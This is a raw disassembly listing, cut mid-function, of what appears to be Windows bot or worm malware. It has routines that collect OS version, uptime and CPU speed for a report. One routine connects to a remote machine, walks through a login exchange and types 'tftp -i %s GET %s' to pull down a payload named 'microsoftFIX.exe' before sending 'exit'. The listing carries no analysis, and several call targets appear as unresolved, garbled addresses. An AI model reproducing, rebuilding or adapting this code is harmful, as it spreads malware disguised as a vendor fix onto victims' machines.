jmp short loc_413F1F
; ---------------------------------------------------------------------------
loc_413F1E: ; CODE XREF: sub_413D8F+189j
dec edi
loc_413F1F: ; CODE XREF: sub_413D8F+18Dj
test ecx, ecx
jz short loc_413F27
add eax, ecx
jmp short loc_413F28
; ---------------------------------------------------------------------------
loc_413F27: ; CODE XREF: sub_413D8F+192j
dec edi
loc_413F28: ; CODE XREF: sub_413D8F+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_443540
push eax
call sub_4171D0
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
lea eax, [ebp+var_26C]
push eax
call sub_410557
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_413D8F endp
; =============== S U B R O U T I N E =======================================
sub_413F6C proc near ; CODE XREF: sub_403038+39FBp
; sub_403038+3E4Fp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 26C05FFh
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DAF3C
push eax
mov eax, ecx
div ebx
push eax
push offset dword_4435A0
push 32h
push esi
call sub_4172D0
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_413F6C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp-94h]
push esi
push eax
xor esi, esi
mov dword ptr [ebp-94h], 94h
call near ptr 26F053Fh
nop
test eax, eax
jz short loc_414068
cmp dword ptr [ebp-90h], 4
jnz short loc_41403E
cmp [ebp-8Ch], esi
jnz short loc_414026
cmp dword ptr [ebp-84h], 1
jnz short loc_414019
push 1
pop esi
loc_414019: ; CODE XREF: ___:00414014j
cmp dword ptr [ebp-84h], 2
jnz short loc_414068
push 1
jmp short loc_414067
; ---------------------------------------------------------------------------
loc_414026: ; CODE XREF: ___:0041400Bj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_414033
loc_41402F: ; CODE XREF: ___:0041404Dj
push 2
jmp short loc_414067
; ---------------------------------------------------------------------------
loc_414033: ; CODE XREF: ___:0041402Dj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_414068
jmp short loc_414058
; ---------------------------------------------------------------------------
loc_41403E: ; CODE XREF: ___:00414003j
cmp dword ptr [ebp-90h], 5
jnz short loc_414068
cmp [ebp-8Ch], esi
jz short loc_41402F
cmp dword ptr [ebp-8Ch], 1
jnz short loc_41405C
loc_414058: ; CODE XREF: ___:0041403Cj
push 3
jmp short loc_414067
; ---------------------------------------------------------------------------
loc_41405C: ; CODE XREF: ___:00414056j
cmp dword ptr [ebp-8Ch], 2
jnz short loc_414068
push 7
loc_414067: ; CODE XREF: ___:00414024j
; ___:00414031j ...
pop esi
loc_414068: ; CODE XREF: ___:00413FFAj
; ___:00414020j ...
mov eax, esi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41406D proc near ; CODE XREF: sub_414129+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_414075: ; CODE XREF: sub_41406D+35j
; sub_41406D+3Bj
call sub_4144A6
push 3E8h
mov edi, eax
mov ebx, edx
call near ptr 2690599h
nop
call sub_4144A6
sub eax, edi
push 0
sbb edx, ebx
push esi
push edx
push eax
call sub_41A3D0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_414075
jb short loc_4140AA
cmp ebx, esi
ja short loc_414075
loc_4140AA: ; CODE XREF: sub_41406D+37j
push 0
push 64h
push edi
push ebx
call sub_41A440
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41411D
jb short loc_4140C9
cmp esi, 50h
jnb short loc_4140CE
loc_4140C9: ; CODE XREF: sub_41406D+55j
push 4Bh
xor edx, edx
pop eax
loc_4140CE: ; CODE XREF: sub_41406D+5Aj
test ecx, ecx
ja short loc_41411D
jb short loc_4140D9
cmp esi, 47h
jnb short loc_4140DE
loc_4140D9: ; CODE XREF: sub_41406D+65j
push 42h
xor edx, edx
pop eax
loc_4140DE: ; CODE XREF: sub_41406D+6Aj
test ecx, ecx
ja short loc_41411D
jb short loc_4140E9
cmp esi, 37h
jnb short loc_4140EE
loc_4140E9: ; CODE XREF: sub_41406D+75j
push 32h
xor edx, edx
pop eax
loc_4140EE: ; CODE XREF: sub_41406D+7Aj
test ecx, ecx
ja short loc_41411D
jb short loc_4140F9
cmp esi, 26h
jnb short loc_4140FE
loc_4140F9: ; CODE XREF: sub_41406D+85j
push 21h
xor edx, edx
pop eax
loc_4140FE: ; CODE XREF: sub_41406D+8Aj
test ecx, ecx
ja short loc_41411D
jb short loc_414109
cmp esi, 1Eh
jnb short loc_41410E
loc_414109: ; CODE XREF: sub_41406D+95j
push 19h
xor edx, edx
pop eax
loc_41410E: ; CODE XREF: sub_41406D+9Aj
test ecx, ecx
ja short loc_41411D
jb short loc_414119
cmp esi, 0Ah
jnb short loc_41411D
loc_414119: ; CODE XREF: sub_41406D+A5j
xor eax, eax
xor edx, edx
loc_41411D: ; CODE XREF: sub_41406D+53j
; sub_41406D+63j ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41406D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414129 proc near ; CODE XREF: sub_403038+3BA4p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_4DAF74
mov [ebp+var_CC], 94h
call near ptr 26F053Fh
nop
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_4141B0
cmp [ebp+var_C4], ebx
jnz short loc_41418C
cmp [ebp+var_BC], 1
jnz short loc_414176
mov [ebp+var_4], offset dword_4435AC
loc_414176: ; CODE XREF: sub_414129+44j
cmp [ebp+var_BC], 2
jnz loc_41422B
mov [ebp+var_4], offset dword_4435B0
jmp short loc_4141FC
; ---------------------------------------------------------------------------
loc_41418C: ; CODE XREF: sub_414129+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41419E
mov [ebp+var_4], offset dword_4435B4
jmp short loc_4141F3
; ---------------------------------------------------------------------------
loc_41419E: ; CODE XREF: sub_414129+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_4141EC
mov [ebp+var_4], offset dword_4435B8
jmp short loc_4141F3
; ---------------------------------------------------------------------------
loc_4141B0: ; CODE XREF: sub_414129+33j
cmp [ebp+var_C8], 5
jnz short loc_4141EC
cmp [ebp+var_C4], ebx
jnz short loc_4141CA
mov [ebp+var_4], offset dword_4435BC
jmp short loc_4141F3
; ---------------------------------------------------------------------------
loc_4141CA: ; CODE XREF: sub_414129+96j
cmp [ebp+var_C4], 1
jnz short loc_4141DC
mov [ebp+var_4], offset dword_4435C0
jmp short loc_4141F3
; ---------------------------------------------------------------------------
loc_4141DC: ; CODE XREF: sub_414129+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_4141F3
loc_4141EC: ; CODE XREF: sub_414129+7Cj
; sub_414129+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_4141F3: ; CODE XREF: sub_414129+73j
; sub_414129+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41422B
loc_4141FC: ; CODE XREF: sub_414129+61j
cmp [ebp+var_B8], bl
jz short loc_41422B
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_5 ; "%s (%s)"
push eax
call sub_4171D0
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41422B: ; CODE XREF: sub_414129+54j
; sub_414129+D1j ...
mov ax, word_4435D8
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_445228
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_414264
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_414264: ; CODE XREF: sub_414129+12Cj
push [ebp+arg_4]
call sub_40267D
pop ecx
push eax
call dword_445388
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_445300
cmp eax, ebx
jz short loc_41428D
push dword ptr [eax]
jmp short loc_414292
; ---------------------------------------------------------------------------
loc_41428D: ; CODE XREF: sub_414129+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_414292: ; CODE XREF: sub_414129+162j
lea eax, [ebp+var_3E4]
push eax
call sub_4171D0
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 2690000h
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 2750000h
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs_0 ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 27412EBh
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 2820000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_417BD0
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_411696
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_413F6C
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40267D
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_411586
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_411586
pop ecx
pop ecx
push eax
call sub_41406D
push edx
push eax
push offset dword_44360C
push 200h
push [ebp+arg_0]
call sub_4172D0
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_414129 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143DD proc near ; CODE XREF: sub_403038+29AAp
; sub_403038+3BD2p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_417070
add esp, 0Ch
cmp dword_445430, 0
jnz short loc_414451
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_44520C
test eax, eax
jnz short loc_414432
lea eax, [ebp+var_8C]
push offset dword_4436E8
push eax
call sub_4171D0
pop ecx
pop ecx
loc_414432: ; CODE XREF: sub_4143DD+40j
test [ebp+var_C], 1
jz short loc_41444A
push offset dword_4436F8
loc_41443D: ; CODE XREF: sub_4143DD+72j
lea eax, [ebp+var_8]
push eax
call sub_4171D0
pop ecx
pop ecx
jmp short loc_414473
; ---------------------------------------------------------------------------
loc_41444A: ; CODE XREF: sub_4143DD+59j
push offset off_443700
jmp short loc_41443D
; ---------------------------------------------------------------------------
loc_414451: ; CODE XREF: sub_4143DD+28j
lea eax, [ebp+var_8]
push offset off_443704
push eax
call sub_4171D0
lea eax, [ebp+var_8C]
push offset off_443708
push eax
call sub_4171D0
add esp, 10h
loc_414473: ; CODE XREF: sub_4143DD+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40267D
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_44370C
push 200h
push [ebp+arg_0]
call sub_4172D0
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_4143DD endp
; =============== S U B R O U T I N E =======================================
sub_4144A6 proc near ; CODE XREF: sub_41406D:loc_414075p
; sub_41406D+1Cp
rdtsc
retn
sub_4144A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4144A9 proc near ; CODE XREF: ___:0041478Dp
; ___:004147AAp ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4DB080
lea edi, [ebp+var_C]
mov ax, word_44375C
movsd
movsb
mov esi, offset dword_4DB088
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_443760
movsd
mov [ebp+var_6], ax
mov ax, word_4DB07C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_414575
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_4144FB: ; CODE XREF: sub_4144A9+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41451B
dec eax
jnz short loc_414569
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_445398
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41452F
; ---------------------------------------------------------------------------
loc_41451B: ; CODE XREF: sub_4144A9+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_445398
push esi
push 1
lea eax, [ebp+var_6]
loc_41452F: ; CODE XREF: sub_4144A9+70j
push eax
push edi
call dword_445398
push ebx
call sub_414BE0
pop ecx
cmp eax, 2
push esi
jnz short loc_41454B
loc_414544: ; DATA XREF: ___:004447A0o
; ___:00444C9Co
push 4
lea eax, [ebp+var_C]
jmp short loc_414550
; ---------------------------------------------------------------------------
loc_41454B: ; CODE XREF: sub_4144A9+99j
push 5
lea eax, [ebp+var_14]
loc_414550: ; CODE XREF: sub_4144A9+A0j
push eax
push edi
call dword_445398
push esi
push ebx
call sub_414BE0
pop ecx
push eax
push ebx
push edi
call dword_445398
loc_414569: ; CODE XREF: sub_4144A9+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_4144FB
pop ebx
jmp short loc_4145EB
; ---------------------------------------------------------------------------
loc_414575: ; CODE XREF: sub_4144A9+42j
dec eax
jz short loc_414594
dec eax
jnz short loc_4145EB
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_445398
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_4145AB
; ---------------------------------------------------------------------------
loc_414594: ; CODE XREF: sub_4144A9+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_445398
push esi
push 1
lea eax, [ebp+var_6]
loc_4145AB: ; CODE XREF: sub_4144A9+E9j
push eax
push edi
call dword_445398
push [ebp+arg_4]
call sub_414BE0
pop ecx
cmp eax, 2
push esi
jnz short loc_4145C9
push 4
lea eax, [ebp+var_C]
jmp short loc_4145CE
; ---------------------------------------------------------------------------
loc_4145C9: ; CODE XREF: sub_4144A9+117j
push 5
lea eax, [ebp+var_14]
loc_4145CE: ; CODE XREF: sub_4144A9+11Ej
push eax
push edi
call dword_445398
push esi
push [ebp+arg_4]
call sub_414BE0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_445398
loc_4145EB: ; CODE XREF: sub_4144A9+CAj
; sub_4144A9+D0j
pop edi
pop esi
leave
retn
sub_4144A9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
mov esi, offset dword_443764
lea edi, [ebp-38h]
mov ax, word_443778
movsd
movsd
movsd
movsb
mov esi, offset dword_443774
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_4DB090
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_443780
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_443788
lea edi, [ebp-0Ch]
movsw
movsb
mov [ebp-2], ax
mov ax, word_44377C
xor esi, esi
mov [ebp-4], ax
mov ax, word_44378C
push esi
push 1
push 2
mov [ebp-6], ax
xor edi, edi
call dword_4453C8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [ebp-1Ch], ebx
jnz short loc_414670
push eax
call dword_4453E0
loc_414670: ; CODE XREF: ___:00414667j
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_445388
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_445348
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4452F0
test eax, eax
jnz loc_4149A5
loc_4146A8: ; CODE XREF: ___:0041471Ej
; ___:00414759j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_445360
cmp eax, esi
jle loc_414778
cmp eax, 0FFFFFFFFh
jz loc_414778
mov eax, edi
sub eax, esi
jz short loc_414720
dec eax
jz short loc_4146EA
dec eax
jz short loc_41475E
jmp short loc_414754
; ---------------------------------------------------------------------------
loc_4146EA: ; CODE XREF: ___:004146E3j
lea eax, [ebp-14h]
push eax
lea eax, [ebp-88h]
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4149A5
lea eax, [ebp-2]
push esi
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp-2]
push eax
push ebx
call dword_445398
push 2
pop edi
jmp short loc_4146A8
; ---------------------------------------------------------------------------
loc_414720: ; CODE XREF: ___:004146E0j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4149A5
lea eax, [ebp-38h]
push esi
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_445398
push 1
pop edi
loc_414754: ; CODE XREF: ___:004146E8j
cmp edi, 3
jz short loc_414778
jmp loc_4146A8
; ---------------------------------------------------------------------------
loc_41475E: ; CODE XREF: ___:004146E6j
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jnz loc_4149A5
loc_414778: ; CODE XREF: ___:004146CDj
; ___:004146D6j ...
push esi
lea eax, [ebp-4]
push 1
push eax
push ebx
call dword_445398
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_4144A9
mov esi, dword_4DD2CC
add esp, 0Ch
mov edi, 3E8h
push edi
call esi
lea eax, [ebp-6]
push 0
push eax
push ebx
call sub_4144A9
add esp, 0Ch
push edi
call esi
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_4144A9
add esp, 0Ch
push edi
call esi
and dword ptr [ebp-18h], 0
mov ebx, offset byte_443750
push ebx
call sub_414BE0
test eax, eax
pop ecx
jbe short loc_41481A
loc_4147DB: ; CODE XREF: ___:00414818j
mov eax, [ebp-18h]
movsx eax, byte_443750[eax]
push eax
push offset dword_443790
lea eax, [ebp-20h]
push 3
push eax
call sub_4172D0
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_4144A9
add esp, 1Ch
push 7Dh
call esi
inc dword ptr [ebp-18h]
push ebx
call sub_414BE0
cmp [ebp-18h], eax
pop ecx
jb short loc_4147DB
loc_41481A: ; CODE XREF: ___:004147D9j
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_4144A9
add esp, 0Ch
push 7D0h
call esi
push 100h
mov ebx, offset byte_4DAF7C
push 0
push ebx
call sub_417070
add esp, 0Ch
push offset aMicrosoftfix_e ; "microsoftFIX.exe"
push dword ptr [ebp+8]
call sub_40267D
pop ecx
push eax
push offset aTftpISGetS_0 ; "tftp -i %s GET %s"
push 0FFh
push ebx
call sub_4172D0
and dword ptr [ebp-18h], 0
push ebx
call sub_414BE0
add esp, 18h
test eax, eax
jbe short loc_4148B6
loc_414877: ; CODE XREF: ___:004148B4j
mov eax, [ebp-18h]
movsx eax, byte_4DAF7C[eax]
push eax
push offset aC ; "%c"
lea eax, [ebp-20h]
push 3
push eax
call sub_4172D0
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_4144A9
add esp, 1Ch
push 7Dh
call esi
inc dword ptr [ebp-18h]
push ebx
call sub_414BE0
cmp [ebp-18h], eax
pop ecx
jb short loc_414877
loc_4148B6: ; CODE XREF: ___:00414875j
push edi
call esi
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_4144A9
add esp, 0Ch
push 7530h
call esi
and dword ptr [ebp-18h], 0
mov ebx, offset aMicrosoftfix_e ; "microsoftFIX.exe"
push ebx
call sub_414BE0
test eax, eax
pop ecx
jbe short loc_414924
loc_4148E5: ; CODE XREF: ___:00414922j
mov eax, [ebp-18h]
movsx eax, byte ptr aMicrosoftfix_e[eax] ; "microsoftFIX.exe"
push eax
push offset aC_0 ; "%c"
lea eax, [ebp-20h]
push 3
push eax
call sub_4172D0
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_4144A9
add esp, 1Ch
push 7Dh
call esi
inc dword ptr [ebp-18h]
push ebx
call sub_414BE0
cmp [ebp-18h], eax
pop ecx
jb short loc_4148E5
loc_414924: ; CODE XREF: ___:004148E3j
push edi
call esi
xor ebx, ebx
lea eax, [ebp-0Ch]
push ebx
push eax
push dword ptr [ebp-1Ch]
call sub_4144A9
mov edi, offset aExit ; "exit"
push edi
call sub_414BE0
add esp, 10h
test eax, eax
jbe short loc_414981
loc_414948: ; CODE XREF: ___:0041497Fj
movsx eax, byte ptr aExit[ebx] ; "exit"
push eax
push offset aC_1 ; "%c"
lea eax, [ebp-20h]
push 3
push eax
call sub_4172D0
lea eax, [ebp-20h]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_4144A9
add esp, 1Ch
push 7Dh
call esi
push edi
inc ebx
call sub_414BE0
cmp ebx, eax
pop ecx
jb short loc_414948
loc_414981: ; CODE XREF: ___:00414946j
push 2
pop edi
loc_414984: ; CODE XREF: ___:0041499Dj
push 258h
call esi
lea eax, [ebp-0Ch]
push 0
push eax
push dword ptr [ebp-1Ch]
call sub_4144A9
add esp, 0Ch
dec edi
jnz short loc_414984
mov ebx, [ebp-1Ch]
push 1
pop esi
loc_4149A5: ; CODE XREF: ___:004146A2j
; ___:004146FEj ...
push ebx
call dword_4453E0
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4149B3: ; DATA XREF: sub_403038+2B6Bo
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+8]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp-35Ch]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp-148h]
push ebx
push eax
mov [ebp-0Ch], ebx
mov [ebp-4], ebx
mov dword ptr [ebp-8], offset asc_4437B4 ; "*/*"
call sub_417070
push edi
lea eax, [ebp-1C8h]
push ebx
push eax
call sub_417070
push edi
lea eax, [ebp-0C8h]
push ebx
push eax
call sub_417070
push 100h
lea eax, [ebp-65Ch]
push ebx
push eax
call sub_417070
push 3Ch
lea eax, [ebp-48h]
pop edi
push edi
push ebx
push eax
call sub_417070
add esp, 3Ch
lea eax, [ebp-48h]
mov [ebp-48h], edi
mov [ebp-34h], esi
push eax
lea eax, [ebp-358h]
push ebx
push eax
mov [ebp-28h], esi
mov [ebp-20h], esi
mov [ebp-18h], esi
call sub_414BE0
pop ecx
push eax
lea eax, [ebp-358h]
push eax
call dword_445244
test eax, eax
jz loc_414B4D
cmp [ebp-34h], ebx
jbe short loc_414A8A
push dword ptr [ebp-34h]
lea eax, [ebp-148h]
push dword ptr [ebp-38h]
push eax
call sub_417770
add esp, 0Ch
loc_414A8A: ; CODE XREF: ___:00414A73j
cmp [ebp-28h], ebx
movzx esi, word ptr [ebp-30h]
jbe short loc_414AA8
push dword ptr [ebp-28h]
lea eax, [ebp-1C8h]
push dword ptr [ebp-2Ch]
push eax
call sub_417770
add esp, 0Ch
loc_414AA8: ; CODE XREF: ___:00414A91j
cmp [ebp-20h], ebx
jbe short loc_414AC2
push dword ptr [ebp-20h]
lea eax, [ebp-0C8h]
push dword ptr [ebp-24h]
push eax
call sub_417770
add esp, 0Ch
loc_414AC2: ; CODE XREF: ___:00414AABj
cmp [ebp-18h], ebx
jbe short loc_414ADC
push dword ptr [ebp-18h]
lea eax, [ebp-65Ch]
push dword ptr [ebp-1Ch]
push eax
call sub_417770
add esp, 0Ch
loc_414ADC: ; CODE XREF: ___:00414AC5j
push ebx
push ebx
lea eax, [ebp-0C8h]
push 3
push eax
lea eax, [ebp-1C8h]
push eax
lea eax, [ebp-148h]
push esi
push eax
push dword_4452F8
call dword_44531C
mov esi, eax
cmp esi, ebx
jz short loc_414B65
push ebx
lea eax, [ebp-8]
push 200h
push eax
lea eax, [ebp-2D8h]
push eax
lea eax, [ebp-65Ch]
push ebx
push eax
push ebx
push esi
call dword_445310
cmp eax, ebx
mov [ebp-4], eax
jz short loc_414B6C
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4452BC
test eax, eax
jz short loc_414B46
push offset dword_443830
jmp short loc_414B71
; ---------------------------------------------------------------------------
loc_414B46: ; CODE XREF: ___:00414B3Dj
push offset unk_44384C
jmp short loc_414B71
; ---------------------------------------------------------------------------
loc_414B4D: ; CODE XREF: ___:00414A6Aj
lea eax, [ebp-55Ch]
push offset dword_4437B8
push eax
call sub_4171D0
mov esi, [ebp-0Ch]
pop ecx
pop ecx
jmp short loc_414B7F
; ---------------------------------------------------------------------------
loc_414B65: ; CODE XREF: ___:00414B06j
push offset unk_4437D4
jmp short loc_414B71
; ---------------------------------------------------------------------------
loc_414B6C: ; CODE XREF: ___:00414B2Ej
push offset unk_443800
loc_414B71: ; CODE XREF: ___:00414B44j
; ___:00414B4Bj ...
lea eax, [ebp-55Ch]
push eax
call sub_4171D0
pop ecx
pop ecx
loc_414B7F: ; CODE XREF: ___:00414B63j
cmp [ebp-1D4h], ebx
jnz short loc_414BAA
push ebx
lea eax, [ebp-55Ch]
push dword ptr [ebp-1D0h]
push eax
lea eax, [ebp-258h]
push eax
push dword ptr [ebp-35Ch]
call sub_401445
add esp, 14h
loc_414BAA: ; CODE XREF: ___:00414B85j
lea eax, [ebp-55Ch]
push eax
call sub_410557
pop ecx
push esi
call dword_44537C
push dword ptr [ebp-4]
call dword_44537C
push dword ptr [ebp-1D8h]
call sub_40916F
pop ecx
push ebx
nop
call near ptr 2700000h
pop edi
pop esi
pop ebx
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414BE0 proc near ; CODE XREF: sub_401000+34p
; ___:004011F4p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_414C00
loc_414BEC: ; CODE XREF: sub_414BE0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_414C33
test ecx, 3
jnz short loc_414BEC
add eax, 0
loc_414C00: ; CODE XREF: sub_414BE0+Aj
; sub_414BE0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_414C00
mov eax, [ecx-4]
test al, al
jz short loc_414C51
test ah, ah
jz short loc_414C47
test eax, 0FF0000h
jz short loc_414C3D
test eax, 0FF000000h
jz short loc_414C33
jmp short loc_414C00
; ---------------------------------------------------------------------------
loc_414C33: ; CODE XREF: sub_414BE0+11j
; sub_414BE0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_414C3D: ; CODE XREF: sub_414BE0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_414C47: ; CODE XREF: sub_414BE0+41j
lea eax, [ecx-3]
